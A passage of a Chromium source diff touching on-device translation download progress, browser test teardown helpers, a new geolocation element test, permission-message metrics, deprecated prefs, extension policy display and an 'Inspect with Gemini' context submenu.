+    return optimization_guide::NormalizeModelDownloadProgress(downloaded_bytes,
+                                                              total_bytes) /
            65536.0;
   }
 
@@ -1109,7 +1109,7 @@
 
  private:
   MockComponentManager component_manager_{GetTempDir()};
-  AITestUtils::MockComponentUpdateService component_update_service_;
+  FakeComponentUpdateService component_update_service_;
   std::unique_ptr<MockTranslationManagerImpl> translation_manager_;
 
   base::test::ScopedFeatureList scoped_feature_list_;
@@ -1128,9 +1128,8 @@
   TranslateAndMonitorProgress(source_language, target_language);
 
   // Components we expect to receive updates for.
-  on_device_ai::FakeComponent translation_kit =
-      GetComponentForTranslateKit(4321);
-  on_device_ai::FakeComponent en_ja_language_pack =
+  FakeComponent translation_kit = GetComponentForTranslateKit(4321);
+  FakeComponent en_ja_language_pack =
       GetComponentForLanguagePack(LanguagePackKey::kEn_Ja, 1234);
 
   // The downloaded bytes and total bytes for all components.
diff --git a/chrome/browser/on_device_translation/translation_manager_impl.cc b/chrome/browser/on_device_translation/translation_manager_impl.cc
index 1a6250c..0d629fd3 100644
--- a/chrome/browser/on_device_translation/translation_manager_impl.cc
+++ b/chrome/browser/on_device_translation/translation_manager_impl.cc
@@ -13,7 +13,6 @@
 #include "components/content_settings/core/common/content_settings.h"
 #include "components/content_settings/core/common/content_settings_types.h"
 #include "components/crx_file/id_util.h"
-#include "components/on_device_ai/ai_crx_component.h"
 #include "components/on_device_translation/component_manager.h"
 #include "components/on_device_translation/constants.h"
 #include "components/on_device_translation/features.h"
@@ -248,6 +247,8 @@
     mojo::PendingRemote<TranslationManagerCreateTranslatorClient> client,
     const std::string& source_language,
     const std::string& target_language,
+    std::unique_ptr<optimization_guide::OnDeviceModelDownloadProgressManager>
+        model_download_progress_manager,
     base::expected<mojo::PendingRemote<mojom::Translator>,
                    CreateTranslatorError> result) {
   if (!client) {
@@ -332,6 +333,9 @@
     return;
   }
 
+  std::unique_ptr<optimization_guide::OnDeviceModelDownloadProgressManager>
+      model_download_progress_manager = nullptr;
+
   if (options->observer_remote) {
     base::flat_set<std::string> component_ids = {
         crx_file::id_util::GenerateIdFromHash(
@@ -345,17 +349,22 @@
       component_ids.insert(
           crx_file::id_util::GenerateIdFromHash(config.public_key_sha));
     }
-    model_download_progress_manager_.AddObserver(
-        std::move(options->observer_remote),
-        on_device_ai::AICrxComponent::FromComponentIds(
-            component_update_service_, std::move(component_ids)));
+
+    model_download_progress_manager = std::make_unique<
+        optimization_guide::OnDeviceModelDownloadProgressManager>(
+        component_update_service_, std::move(component_ids),
+        /*enable_unloadable_progress=*/false);
+
+    model_download_progress_manager->AddObserver(
+        std::move(options->observer_remote));
   }
 
   GetServiceController().CreateTranslator(
       source_language, target_language,
       base::BindOnce(&TranslationManagerImpl::CreateTranslatorImpl,
                      weak_ptr_factory_.GetWeakPtr(), std::move(client),
-                     source_language, target_language));
+                     source_language, target_language,
+                     std::move(model_download_progress_manager)));
 }
 
 OnDeviceTranslationServiceController&
diff --git a/chrome/browser/on_device_translation/translation_manager_impl.h b/chrome/browser/on_device_translation/translation_manager_impl.h
index 46e5304..9ec1735 100644
--- a/chrome/browser/on_device_translation/translation_manager_impl.h
+++ b/chrome/browser/on_device_translation/translation_manager_impl.h
@@ -16,8 +16,8 @@
 #include "base/types/expected.h"
 #include "base/types/pass_key.h"
 #include "components/component_updater/component_updater_service.h"
-#include "components/on_device_ai/ai_model_download_progress_manager.h"
 #include "components/on_device_translation/public/mojom/translator.mojom.h"
+#include "components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h"
 #include "content/public/browser/browser_context.h"
 #include "content/public/browser/render_frame_host.h"
 #include "content/public/browser/render_process_host.h"
@@ -77,8 +77,6 @@
   content::RenderProcessHost* process_host() { return process_host_.get(); }
 
  private:
-  friend class TranslationManagerImplTest;
-
   static TranslationManagerImpl* GetOrCreate(
       content::RenderProcessHost* process_host,
       content::BrowserContext* browser_context,
@@ -133,6 +131,8 @@
           blink::mojom::TranslationManagerCreateTranslatorClient> client,
       const std::string& source_language,
       const std::string& target_language,
+      std::unique_ptr<optimization_guide::OnDeviceModelDownloadProgressManager>
+          model_download_progress_manager,
       base::expected<mojo::PendingRemote<mojom::Translator>,
                      blink::mojom::CreateTranslatorError> result);
 
@@ -160,7 +160,6 @@
   mojo::ReceiverSet<blink::mojom::TranslationManager> receiver_set_;
   raw_ptr<component_updater::ComponentUpdateService> component_update_service_;
 
-  on_device_ai::AIModelDownloadProgressManager model_download_progress_manager_;
   base::WeakPtrFactory<TranslationManagerImpl> weak_ptr_factory_{this};
 };
 
diff --git a/chrome/browser/optimization_guide/model_execution/optimization_guide_global_state.cc b/chrome/browser/optimization_guide/model_execution/optimization_guide_global_state.cc
index 30e2cdfc..29d0bfe 100644
--- a/chrome/browser/optimization_guide/model_execution/optimization_guide_global_state.cc
+++ b/chrome/browser/optimization_guide/model_execution/optimization_guide_global_state.cc
@@ -103,6 +103,11 @@
     component_updater::OptimizationGuideOnDeviceModelInstallerPolicy::
         UpdateOnDemand();
   }
+
+  std::string GetComponentId() override {
+    return component_updater::OptimizationGuideOnDeviceModelInstallerPolicy::
+        GetOnDeviceModelExtensionId();
+  }
 };
 
 void LaunchService(
@@ -205,7 +210,8 @@
           *g_browser_process->local_state(),
           prediction_manager_.prediction_manager(),
           std::make_unique<OnDeviceModelComponentStateManagerDelegate>(),
-          base::BindRepeating(&LaunchService)
+          base::BindRepeating(&LaunchService),
+          g_browser_process->component_updater()
 #elif BUILDFLAG(IS_ANDROID)
           *g_browser_process->local_state(),
           prediction_manager_.prediction_manager()
diff --git a/chrome/browser/page_load_metrics/integration_tests/smoothness_metric_browsertest.cc b/chrome/browser/page_load_metrics/integration_tests/smoothness_metric_browsertest.cc
index c49b8544..cc3cbb77 100644
--- a/chrome/browser/page_load_metrics/integration_tests/smoothness_metric_browsertest.cc
+++ b/chrome/browser/page_load_metrics/integration_tests/smoothness_metric_browsertest.cc
@@ -75,8 +75,9 @@
   ASSERT_TRUE(EvalJs(web_contents(), "runtest()").ExtractBool());
 
   // Finish session.
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   web_contents()->ClosePage();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 
   int64_t fsm_pdf_value;
   // FrameSequenceMetric export should show a value.
diff --git a/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc b/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc
index daac20d..042c1dc 100644
--- a/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc
+++ b/chrome/browser/page_load_metrics/page_load_metrics_browsertest.cc
@@ -1527,6 +1527,10 @@
       internal::kHistogramActualNavigationStartToNavigationCommitSent, 1);
   histogram_tester_->ExpectTotalCount(
       internal::kHistogramActualNavigationStartToParseStart, 1);
+  histogram_tester_->ExpectTotalCount(
+      internal::kHistogramNavigationCommitSentToParseStart, 1);
+  histogram_tester_->ExpectTotalCount(
+      internal::kHistogramParseStartToDOMContentLoaded, 1);
 
   histogram_tester_->ExpectTotalCount(
       internal::kHistogramDocWriteBlockParseStartToFirstContentfulPaint, 0);
@@ -3780,6 +3784,8 @@
 
   histogram_tester_->ExpectTotalCount(
       internal::kHistogramLargestContentfulPaint, 1);
+  histogram_tester_->ExpectTotalCount(
+      internal::kHistogramParseStartToLargestContentfulPaint, 1);
   auto all_frames_value =
       histogram_tester_
           ->GetAllSamples(internal::kHistogramLargestContentfulPaint)[0]
diff --git a/chrome/browser/pdf/pdf_extension_test.cc b/chrome/browser/pdf/pdf_extension_test.cc
index 690fd910..71427c69 100644
--- a/chrome/browser/pdf/pdf_extension_test.cc
+++ b/chrome/browser/pdf/pdf_extension_test.cc
@@ -3631,9 +3631,9 @@
 
   // Now, close Incognito and destroy its profile.  This is subtle: simply
   // closing the Incognito window and waiting for browser destruction (e.g.,
-  // with `ui_test_utils::WaitForBrowserToClose(incognito)`) will trigger
-  // asynchronous profile destruction which will allow the PDF task to run
-  // before profile destruction is complete, sidestepping the bug in
+  // with `ui_test_utils::BrowserDestroyedObserver(incognito).Wait()`) will
+  // trigger asynchronous profile destruction which will allow the PDF task to
+  // run before profile destruction is complete, sidestepping the bug in
   // https://crbug.com/1382761.  Instead, use the hard shutdown/restart logic
   // similar to that in `BrowserCloseManager::CloseBrowsers()`, which is used
   // by `chrome::ExitIgnoreUnloadHandlers() and forces the `Browser` and its
@@ -4405,9 +4405,9 @@
 
   // Now, close Incognito and destroy its profile.  This is subtle: simply
   // closing the Incognito window and waiting for browser destruction (e.g.,
-  // with `ui_test_utils::WaitForBrowserToClose(incognito)`) will trigger
-  // asynchronous profile destruction which will allow the PDF task to run
-  // before profile destruction is complete, sidestepping the bug in
+  // with `ui_test_utils::BrowserDestroyedObserver(incognito).Wait()`) will
+  // trigger asynchronous profile destruction which will allow the PDF task to
+  // run before profile destruction is complete, sidestepping the bug in
   // https://crbug.com/1382761.  Instead, use the hard shutdown/restart logic
   // similar to that in `BrowserCloseManager::CloseBrowsers()`, which is used
   // by `chrome::ExitIgnoreUnloadHandlers() and forces the `Browser` and its
diff --git a/chrome/browser/permissions/BUILD.gn b/chrome/browser/permissions/BUILD.gn
index 9c07271..fb05885 100644
--- a/chrome/browser/permissions/BUILD.gn
+++ b/chrome/browser/permissions/BUILD.gn
@@ -294,6 +294,7 @@
     defines = [ "HAS_OUT_OF_PROC_TEST_RUNNER" ]
 
     sources = [
+      "geolocation_element_browsertest.cc",
       "one_time_permissions_browsertest.cc",
       "permission_delegation_browsertest.cc",
       "permission_element_browsertest.cc",
diff --git a/chrome/browser/permissions/geolocation_element_browsertest.cc b/chrome/browser/permissions/geolocation_element_browsertest.cc
new file mode 100644
index 0000000..ce70cf57
--- /dev/null
+++ b/chrome/browser/permissions/geolocation_element_browsertest.cc
@@ -0,0 +1,101 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include <memory>
+#include <optional>
+
+#include "base/test/scoped_feature_list.h"
+#include "base/values.h"
+#include "chrome/browser/ui/browser.h"
+#include "chrome/test/base/in_process_browser_test.h"
+#include "chrome/test/base/ui_test_utils.h"
+#include "components/permissions/permission_manager.h"
+#include "components/permissions/permission_request_manager.h"
+#include "components/permissions/test/permission_request_observer.h"
+#include "content/public/browser/web_contents.h"
+#include "content/public/test/browser_test.h"
+#include "content/public/test/browser_test_utils.h"
+#include "net/test/embedded_test_server/embedded_test_server.h"
+#include "services/device/public/cpp/test/scoped_geolocation_overrider.h"
+#include "services/device/public/mojom/geoposition.mojom-forward.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/public/common/features_generated.h"
+#include "third_party/blink/public/mojom/permissions/permission.mojom-shared.h"
+
+using ::testing::Pointee;
+
+class GeolocationElementBrowserTest : public InProcessBrowserTest {
+ public:
+  GeolocationElementBrowserTest()
+      : geolocation_overrider_(
+            std::make_unique<device::ScopedGeolocationOverrider>(
+                device::mojom::GeopositionResult::NewPosition(
+                    device::mojom::Geoposition::New()),
+                device::mojom::GeopositionResult::NewPosition(
+                    high_accuracy_position_.Clone()))) {
+    feature_list_.InitWithFeatures(
+        {blink::features::kGeolocationElement,
+         blink::features::kBypassPepcSecurityForTesting},
+        {});
+  }
+
+  ~GeolocationElementBrowserTest() override = default;
+
+  void SetUpOnMainThread() override {
+    ASSERT_TRUE(embedded_test_server()->Start());
+    ASSERT_TRUE(ui_test_utils::NavigateToURLBlockUntilNavigationsComplete(
+        browser(), embedded_test_server()->GetURL("/empty.html"), 1));
+  }
+
+  content::WebContents* web_contents() {
+    return browser()->tab_strip_model()->GetWebContentsAt(0);
+  }
+
+ protected:
+  device::mojom::GeopositionPtr high_accuracy_position_ =
+      device::mojom::Geoposition::New(/*latitude=*/1.2,
+                                      /*longitude=*/4.2,
+                                      /*altitude=*/0.0,
+                                      /*accuracy=*/10.3,
+                                      /*altitude_accuracy=*/5.2,
+                                      /*heading=*/0.0,
+                                      /*speed=*/0.0,
+                                      /*timestamp=*/base::Time::Now(),
+                                      /*is_precise=*/true);
+  std::unique_ptr<device::ScopedGeolocationOverrider> geolocation_overrider_;
+
+  base::test::ScopedFeatureList feature_list_;
+};
+
+IN_PROC_BROWSER_TEST_F(GeolocationElementBrowserTest, GeolocationElement) {
+  ASSERT_TRUE(content::ExecJs(web_contents(), R"(
+    var g = document.createElement('geolocation');
+    var gottenPosition = new Promise(resolve => {
+      g.onlocation = function(event) {
+        resolve(event.target.position.coords);
+      }
+    });
+    document.body.appendChild(g);
+  )"));
+
+  permissions::PermissionRequestManager::FromWebContents(web_contents())
+      ->set_auto_response_for_test(
+          permissions::PermissionRequestManager::AutoResponseType::ACCEPT_ALL);
+  permissions::PermissionRequestObserver observer(web_contents());
+  ASSERT_TRUE(content::ExecJs(web_contents(), "g.click()"));
+  observer.Wait();
+  base::DictValue position =
+      content::EvalJs(
+          web_contents(),
+          "(async function () { return (await gottenPosition).toJSON(); })()")
+          .TakeValue()
+          .TakeDict();
+  EXPECT_THAT(position.Find("latitude"),
+              Pointee(high_accuracy_position_->latitude));
+  EXPECT_THAT(position.Find("longitude"),
+              Pointee(high_accuracy_position_->longitude));
+  EXPECT_THAT(position.Find("accuracy"),
+              Pointee(high_accuracy_position_->accuracy));
+}
diff --git a/chrome/browser/permissions/permission_blocked_message_delegate_android.cc b/chrome/browser/permissions/permission_blocked_message_delegate_android.cc
index 4af4ec6f..c65aada 100644
--- a/chrome/browser/permissions/permission_blocked_message_delegate_android.cc
+++ b/chrome/browser/permissions/permission_blocked_message_delegate_android.cc
@@ -235,10 +235,13 @@
     int command_id) {
   switch (static_cast<LoudUiSecondayMenuItems>(command_id)) {
     case LoudUiSecondayMenuItems::kDeny:
+      base::UmaHistogramBoolean("Permissions.ClapperLoud.MessageUI.Deny", true);
       ShowLoudClapperDialogResultIcon(web_contents_, CONTENT_SETTING_BLOCK);
       delegate_->Deny();
       break;
     case LoudUiSecondayMenuItems::kManage:
+      base::UmaHistogramBoolean("Permissions.ClapperLoud.MessageUI.Manage",
+                                true);
       if (!dialog_controller_) {
         dialog_controller_ =
             std::make_unique<PermissionBlockedDialogController>(
@@ -290,6 +293,7 @@
 }
 
 void PermissionBlockedMessageDelegate::HandleLoudPrimaryActionClick() {
+  base::UmaHistogramBoolean("Permissions.ClapperLoud.MessageUI.Allow", true);
   messages::MessageDispatcherBridge::Get()->DismissMessage(
       message_.get(), messages::DismissReason::PRIMARY_ACTION);
 
diff --git a/chrome/browser/permissions/permission_blocked_message_delegate_android_unittest.cc b/chrome/browser/permissions/permission_blocked_message_delegate_android_unittest.cc
index 3642042..530b22c2 100644
--- a/chrome/browser/permissions/permission_blocked_message_delegate_android_unittest.cc
+++ b/chrome/browser/permissions/permission_blocked_message_delegate_android_unittest.cc
@@ -339,6 +339,10 @@
 
   // Message should be dismissed
   EXPECT_EQ(nullptr, GetMessageWrapper());
+
+  // Verify Histogram
+  histogram_tester.ExpectBucketCount("Permissions.ClapperLoud.MessageUI.Allow",
+                                     true, 1);
 }
 
 TEST_F(PermissionBlockedMessageDelegateAndroidTest, LoudUI_DismissByGesture) {
diff --git a/chrome/browser/picture_in_picture/auto_picture_in_picture_tab_helper_browsertest.cc b/chrome/browser/picture_in_picture/auto_picture_in_picture_tab_helper_browsertest.cc
index 7bb99d06..e9dbedf1 100644
--- a/chrome/browser/picture_in_picture/auto_picture_in_picture_tab_helper_browsertest.cc
+++ b/chrome/browser/picture_in_picture/auto_picture_in_picture_tab_helper_browsertest.cc
@@ -1583,8 +1583,9 @@
 
   // Trigger metric recording.
   test_clock.Advance(base::Milliseconds(5000));
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   web_contents->ClosePage();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 
   // Verify expectations.
   metrics::SubprocessMetricsProvider::MergeHistogramDeltasForTesting();
@@ -1734,8 +1735,9 @@
   EXPECT_EQ(expected_reason, tab_helper->GetAutoPipTriggerReason());
   EXPECT_EQ(expected_reason, GetAutoPipReason(*web_contents));
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   web_contents->ClosePage();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 }
 
 IN_PROC_BROWSER_TEST_F(AutoPictureInPictureTabHelperBrowserTest,
@@ -2846,8 +2848,9 @@
 
   // Trigger metric recording.
   test_clock.Advance(base::Milliseconds(5000));
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   web_contents->ClosePage();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 
   // Verify expectations.
   metrics::SubprocessMetricsProvider::MergeHistogramDeltasForTesting();
@@ -3052,8 +3055,9 @@
   EXPECT_EQ(expected_reason, tab_helper->GetAutoPipTriggerReason());
   EXPECT_EQ(expected_reason, GetAutoPipReason(*web_contents));
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   web_contents->ClosePage();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 }
 
 IN_PROC_BROWSER_TEST_F(AutoPictureInPictureWithVideoPlaybackBrowserTest,
diff --git a/chrome/browser/picture_in_picture/document_picture_in_picture_pixel_browsertest.cc b/chrome/browser/picture_in_picture/document_picture_in_picture_pixel_browsertest.cc
index 6dab16a..c045574b 100644
--- a/chrome/browser/picture_in_picture/document_picture_in_picture_pixel_browsertest.cc
+++ b/chrome/browser/picture_in_picture/document_picture_in_picture_pixel_browsertest.cc
@@ -5,6 +5,7 @@
 #include "base/strings/strcat.h"
 #include "base/strings/string_number_conversions.h"
 #include "chrome/browser/preloading/scoped_prewarm_feature_list.h"
+#include "chrome/browser/ui/browser_finder.h"
 #include "chrome/browser/ui/test/test_browser_ui.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
 #include "chrome/browser/ui/views/frame/picture_in_picture_browser_frame_view.h"
@@ -163,7 +164,11 @@
   }
 
   void WaitForUserDismissal() override {
-    ui_test_utils::WaitForBrowserToClose();
+    BrowserWindowInterface* pip_browser =
+        chrome::FindBrowserWithTab(window_controller()->GetChildWebContents());
+    if (pip_browser) {
+      ui_test_utils::BrowserDestroyedObserver(pip_browser).Wait();
+    }
   }
 
  private:
diff --git a/chrome/browser/picture_in_picture/document_picture_in_picture_window_controller_browsertest.cc b/chrome/browser/picture_in_picture/document_picture_in_picture_window_controller_browsertest.cc
index 695ff95..2af3220 100644
--- a/chrome/browser/picture_in_picture/document_picture_in_picture_window_controller_browsertest.cc
+++ b/chrome/browser/picture_in_picture/document_picture_in_picture_window_controller_browsertest.cc
@@ -724,7 +724,7 @@
   // Ozone/wayland doesn't support getting/setting window position in global
   // screen coordinates. So this test is not applicable there as it essentially
   // validates that.
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     GTEST_SKIP();
   }
 #endif
diff --git a/chrome/browser/policy/policy_prefs_browsertest.cc b/chrome/browser/policy/policy_prefs_browsertest.cc
index 94f590b76..f788adf 100644
--- a/chrome/browser/policy/policy_prefs_browsertest.cc
+++ b/chrome/browser/policy/policy_prefs_browsertest.cc
@@ -171,7 +171,12 @@
 // failure/flakiness.
 // IMPORTANT: Please add hendrich@chromium.org on any related bugs when
 // disabling this test.
-IN_PROC_BROWSER_TEST_P(ChunkedPolicyPrefsTest, PolicyToPrefsMapping) {
+#if BUILDFLAG(IS_CHROMEOS)
+#define MAYBE_PolicyToPrefsMapping DISABLED_PolicyToPrefsMapping
+#else
+#define MAYBE_PolicyToPrefsMapping PolicyToPrefsMapping
+#endif
+IN_PROC_BROWSER_TEST_P(ChunkedPolicyPrefsTest, MAYBE_PolicyToPrefsMapping) {
   base::ScopedAllowBlockingForTesting allow_blocking;
 
 #if !BUILDFLAG(IS_CHROMEOS)
diff --git a/chrome/browser/policy/value_provider/extension_install_policies_value_provider.cc b/chrome/browser/policy/value_provider/extension_install_policies_value_provider.cc
index 7181fd19..32acf32c 100644
--- a/chrome/browser/policy/value_provider/extension_install_policies_value_provider.cc
+++ b/chrome/browser/policy/value_provider/extension_install_policies_value_provider.cc
@@ -7,11 +7,14 @@
 #include "base/feature_list.h"
 #include "chrome/browser/policy/cloud/extension_install_policy_service.h"
 #include "chrome/browser/policy/profile_policy_connector.h"
+#include "chrome/browser/policy/value_provider/value_provider_util.h"
 #include "chrome/browser/profiles/profile.h"
 #include "components/policy/core/browser/policy_conversions.h"
 #include "components/policy/core/common/features.h"
 #include "components/prefs/pref_service.h"
+#include "extensions/browser/extension_registry.h"
 #include "extensions/browser/pref_names.h"
+#include "third_party/abseil-cpp/absl/strings/str_format.h"
 
 namespace em = enterprise_management;
 
@@ -36,7 +39,7 @@
   for (const auto& reason : *reasons) {
     switch (reason.GetInt()) {
       case em::ExtensionInstallPolicy::REASON_BLOCKED_CATEGORY:
-        result.Append("blocked_category");
+        result.Append("category");
         break;
       case em::ExtensionInstallPolicy::REASON_RISK_SCORE:
         result.Append("risk_score");
@@ -104,21 +107,23 @@
           extensions::pref_names::kExtensionInstallCloudPolicyChecksEnabled)) {
     return base::DictValue();
   }
-  auto* policy_service =
-      profile_->GetProfilePolicyConnector()->policy_service();
+  auto* policy_service = GetPolicyService(&profile_.get());
   if (!policy_service) {
     return base::DictValue();
   }
+  const extensions::ExtensionRegistry* registry =
+      extensions::ExtensionRegistry::Get(&profile_.get());
+  CHECK(registry);
 
   // Create a `dict` value like this:
   // {
-  //   "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@123": {
+  //   "Extension Name (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@1.2.3)": {
   //     "level": "mandatory",
   //     "scope": "machine",
   //     "source": "cloud",
   //     "value": {
-  //       "value": "Blocked",
-  //       "reasons": ["Blocked category", "Risk score"]
+  //       "value": "blocked",
+  //       "reasons": ["category", "risk_score"]
   //     }
   //   },
   //   ...
@@ -150,8 +155,15 @@
               .Set("level", LevelToString(entry.level))
               .Set("scope", ScopeToString(entry.scope))
               .Set("source", SourceToString(entry.source));
-      dict.Set(base::StrCat({extension_id, "@", extension_version}),
-               std::move(policy_dict));
+      if (const auto* extension =
+              registry->GetInstalledExtension(extension_id)) {
+        dict.Set(absl::StrFormat("%s (%s@%s)", extension->name(), extension_id,
+                                 extension_version),
+                 std::move(policy_dict));
+      } else {
+        dict.Set(absl::StrFormat("%s@%s", extension_id, extension_version),
+                 std::move(policy_dict));
+      }
     }
   }
 
diff --git a/chrome/browser/prefs/browser_prefs.cc b/chrome/browser/prefs/browser_prefs.cc
index 5ce533f..153102a 100644
--- a/chrome/browser/prefs/browser_prefs.cc
+++ b/chrome/browser/prefs/browser_prefs.cc
@@ -969,6 +969,14 @@
 constexpr char kCookieClearOnExitMigrationNoticeComplete[] =
     "signin.cookie_clear_on_exit_migration_notice_complete";
 
+// Deprecated 02/2026.
+// Note that these were replaced by local state prefs of the same names and
+// functions: those should not be removed. Only the profile prefs registered
+// here are deprecated.
+constexpr char kGlicGuestUrlPresetAutopush[] = "glic.guest_url_preset_autopush";
+constexpr char kGlicGuestUrlPresetPreprod[] = "glic.guest_url_preset_preprod";
+constexpr char kGlicGuestUrlPresetProd[] = "glic.guest_url_preset_prod";
+
 // Register local state used only for migration (clearing or moving to a new
 // key).
 void RegisterLocalStatePrefsForMigration(PrefRegistrySimple* registry) {
@@ -1342,6 +1350,11 @@
   // Deprecated 01/2026.
   registry->RegisterBooleanPref(kCookieClearOnExitMigrationNoticeComplete,
                                 false);
+
+  // Deprecated 02/2026.
+  registry->RegisterStringPref(kGlicGuestUrlPresetAutopush, std::string());
+  registry->RegisterStringPref(kGlicGuestUrlPresetPreprod, std::string());
+  registry->RegisterStringPref(kGlicGuestUrlPresetProd, std::string());
 }
 
 }  // namespace
@@ -1586,6 +1599,9 @@
   os_crypt_async::AppBoundEncryptionProviderWin::RegisterLocalPrefs(registry);
   webnn::RegisterLocalPrefs(registry);
   registry->RegisterBooleanPref(prefs::kForegroundLaunchOnLogin, false);
+  registry->RegisterTimePref(prefs::kStartupLaunchInfobarLastDeclinedTime,
+                             base::Time());
+  registry->RegisterIntegerPref(prefs::kStartupLaunchInfobarDeclinedCount, 0);
 #endif  // BUILDFLAG(IS_WIN)
 
 #if BUILDFLAG(ENABLE_DOWNGRADE_PROCESSING)
@@ -2602,6 +2618,11 @@
   // Added 01/2026.
   profile_prefs->ClearPref(kCookieClearOnExitMigrationNoticeComplete);
 
+  // Added 02/2026.
+  profile_prefs->ClearPref(kGlicGuestUrlPresetAutopush);
+  profile_prefs->ClearPref(kGlicGuestUrlPresetPreprod);
+  profile_prefs->ClearPref(kGlicGuestUrlPresetProd);
+
   // Please don't delete the following line. It is used by PRESUBMIT.py.
   // END_MIGRATE_OBSOLETE_PROFILE_PREFS
 
diff --git a/chrome/browser/profiles/avatar_menu_browsertest.cc b/chrome/browser/profiles/avatar_menu_browsertest.cc
index 59b8a49..cb82f712 100644
--- a/chrome/browser/profiles/avatar_menu_browsertest.cc
+++ b/chrome/browser/profiles/avatar_menu_browsertest.cc
@@ -89,8 +89,9 @@
   ScopedKeepAlive keep_alive(KeepAliveOrigin::BROWSER,
                              KeepAliveRestartOption::DISABLED);
   Profile* profile = browser()->profile();
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(profile);
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
   EXPECT_EQ(chrome::GetBrowserCount(profile), 0U);
 
   std::optional<size_t> active_profile_index = menu()->GetActiveProfileIndex();
@@ -124,8 +125,9 @@
   // Keep the browser process running while browsers are closed.
   ScopedKeepAlive keep_alive(KeepAliveOrigin::BROWSER,
                              KeepAliveRestartOption::DISABLED);
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(profile);
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
   EXPECT_EQ(chrome::GetBrowserCount(profile), 0U);
 
   std::optional<size_t> active_profile_index = menu()->GetActiveProfileIndex();
@@ -179,8 +181,9 @@
   // Keep the browser process running while browsers are closed.
   ScopedKeepAlive keep_alive(KeepAliveOrigin::BROWSER,
                              KeepAliveRestartOption::DISABLED);
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   CloseAllBrowsers();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
   EXPECT_EQ(chrome::GetTotalBrowserCount(), 0U);
 
   profiles::SwitchToGuestProfile();
diff --git a/chrome/browser/renderer_context_menu/render_view_context_menu.cc b/chrome/browser/renderer_context_menu/render_view_context_menu.cc
index 0c73a31..c6d8aee 100644
--- a/chrome/browser/renderer_context_menu/render_view_context_menu.cc
+++ b/chrome/browser/renderer_context_menu/render_view_context_menu.cc
@@ -560,13 +560,15 @@
        {IDC_CONTENT_CONTEXT_OPENLINKSPLITVIEW, 156},
        {IDC_CONTENT_CONTEXT_GLICSHAREIMAGE, 157},
        {IDC_CONTENT_CONTEXT_ARCHIVE_GLIC, 158},
+       {IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI, 159},
+       {IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS, 160},
        // To add new items:
        //   - Add one more line above this comment block, using the UMA value
        //     from the line below this comment block.
        //   - Increment the UMA value in that latter line.
        //   - Add the new item to the RenderViewContextMenuItem enum in
        //     tools/metrics/histograms/metadata/ui/enums.xml.
-       {0, 159}});
+       {0, 161}});
   // LINT.ThenChange(//tools/metrics/histograms/metadata/ui/enums.xml:RenderViewContextMenuItem)
 
   // LINT.IfChange(ContextMenuOptionDesktop)
@@ -928,6 +930,7 @@
       protocol_handler_submenu_model_(this),
       protocol_handler_registry_(
           ProtocolHandlerRegistryFactory::GetForBrowserContext(GetProfile())),
+      inspect_submenu_model_(this),
       accessibility_labels_submenu_model_(this),
       embedder_web_contents_(GetWebContentsToUse(&render_frame_host)),
       autofill_context_menu_manager_(this, &menu_model_) {
@@ -1640,8 +1643,21 @@
                                       IDS_CONTENT_CONTEXT_RELOADFRAME);
     }
   }
-  menu_model_.AddItemWithStringId(IDC_CONTENT_CONTEXT_INSPECTELEMENT,
-                                  IDS_CONTENT_CONTEXT_INSPECTELEMENT);
+
+  if (base::FeatureList::IsEnabled(features::kDevToolsGreenDevUi)) {
+    inspect_submenu_model_.AddItemWithStringId(
+        IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI,
+        IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI);
+    inspect_submenu_model_.AddItemWithStringId(
+        IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS,
+        IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS);
+    menu_model_.AddSubMenuWithStringId(IDC_CONTENT_CONTEXT_INSPECTELEMENT,
+                                       IDS_CONTENT_CONTEXT_INSPECTELEMENT,
+                                       &inspect_submenu_model_);
+  } else {
+    menu_model_.AddItemWithStringId(IDC_CONTENT_CONTEXT_INSPECTELEMENT,
+                                    IDS_CONTENT_CONTEXT_INSPECTELEMENT);
+  }
 }
 
 void RenderViewContextMenu::AppendDevtoolsForUnpackedExtensions() {
@@ -2941,6 +2957,8 @@
 
     case IDC_CONTENT_CONTEXT_INSPECTELEMENT:
     case IDC_CONTENT_CONTEXT_INSPECTBACKGROUNDPAGE:
+    case IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI:
+    case IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS:
     case IDC_CONTENT_CONTEXT_RELOAD_PACKAGED_APP:
